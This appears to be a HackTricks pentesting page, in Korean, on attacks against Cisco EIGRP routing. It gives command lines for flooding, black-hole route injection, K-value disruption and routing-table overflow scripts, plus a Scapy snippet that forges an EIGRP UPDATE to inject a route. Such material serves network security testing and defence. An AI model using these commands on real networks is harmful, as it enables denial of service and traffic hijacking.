EIGRP 공격
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
다음 글에서 공개된 공격에 대한 요약입니다: https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9. 자세한 내용은 해당 글을 확인하세요.
가짜 EIGRP 이웃 공격
- 목적: EIGRP hello 패킷을 대량으로 보내 라우터 CPU를 과부하시키고 잠재적인 DoS를 유발.
- 도구: helloflooding.py 스크립트.
- 실행:
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
- 파라미터:
--interface: 네트워크 인터페이스 지정, 예:eth0.--as: EIGRP autonomous system 번호 지정, 예:1.--subnet: 서브넷 위치 지정, 예:10.10.100.0/24.
EIGRP 블랙홀 공격
- 목적: 잘못된 라우트를 주입해 트래픽을 존재하지 않는 목적지로 유도하여 네트워크 트래픽 흐름을 방해.
- 도구: routeinject.py 스크립트.
- 실행:
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
- 파라미터:
--interface: 공격자 시스템의 인터페이스 지정.--as: EIGRP AS 번호 지정.--src: 공격자 IP 주소 설정.--dst: 대상 서브넷 IP 설정.--prefix: 대상 서브넷 IP의 마스크 길이 지정.
K-Values 악용 공격
- 목적: 변경된 K-values를 주입하여 EIGRP 도메인 내에서 지속적인 연결 끊김 및 재연결을 발생시켜 DoS를 유발.
- 도구: relationshipnightmare.py 스크립트.
- 실행:
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
- 파라미터:
--interface: 네트워크 인터페이스 지정.--as: EIGRP AS 번호 지정.--src: 정당한 라우터의 IP 주소 설정.
라우팅 테이블 오버플로우 공격
- 목적: 수많은 가짜 라우트로 라우터의 CPU와 RAM을 압박.
- 도구: routingtableoverflow.py 스크립트.
- 실행:
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
- 파라미터:
--interface: 네트워크 인터페이스 지정.--as: EIGRP AS 번호 지정.--src: 공격자 IP 주소 설정.
공격에 유용한 프로토콜 노트
- HELLO packets carry K-values and neighbors only form when they match. 이는 K-value 불일치 / 관계 붕괴 공격의 근거이며, K-values가 일치하지 않으면 adjacency가 형성되지 않는 이유입니다.
- The PARAMETER TLV (Type 0x0001) in HELLO (and initial UPDATE) carries K-values and Hold Time, 따라서 수동 캡처로 세그먼트에서 사용되는 정확한 값을 확인할 수 있습니다.
Scapy Packet Crafting (Route Injection / Fake Neighbors)
Scapy는 EIGRPParam 및 EIGRPIntRoute 같은 TLV를 포함하는 EIGRP contrib 레이어를 제공하므로 route injection을 위한 UPDATE를 제작하기에 충분합니다. 다음 예시는 davidbombal/scapy EIGRP route injection 스크립트에서 적응한 예시입니다:
from scapy.all import *
load_contrib("eigrp")
sendp(Ether()/IP(src="192.168.1.248", dst="224.0.0.10") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPIntRoute(dst="192.168.100.0",
nexthop="192.168.1.248")]))
동일한 저장소에는 실제 EIGRP 패킷을 스니핑하고 spoofed source IP로 재생하여 phantom neighbors를 생성하는 빠른 “fake neighbor” 스크립트들이 포함되어 있습니다 (CPU/neighbor-table 압박에 유용).
- Scapy EIGRP contrib docs: https://scapy.readthedocs.io/en/latest/api/scapy.contrib.eigrp.html
- Example scripts: https://github.com/davidbombal/scapy
Routopsy & NSE Helpers
- Routopsy는 가상 라우터 공격 실험실(FRRouting + Scapy)을 구축하며 EIGRP 테스트에 맞게 적용할 수 있는 DRP 공격을 포함합니다. https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
- Nmap의 NSE에는 EIGRP 패킷의 일부를 파싱/생성하기 위한 작은
eigrp라이브러리가 있습니다. https://nmap.org/nsedoc/lib/eigrp.html
Authentication Recon
- EIGRP named mode은
authentication mode hmac-sha-256 ...을 통해 HMAC-SHA-256 authentication을 지원합니다. 활성화된 경우, crafted packets는 올바른 키로 인증되어야 합니다; 비활성화된 경우 spoofing/injection을 검증하기가 더 쉽습니다.
References
- https://www.rfc-editor.org/rfc/rfc7868.html
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/iproute_eigrp/configuration/15-mt/ire-15-mt-book/ire-sha-256.html
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


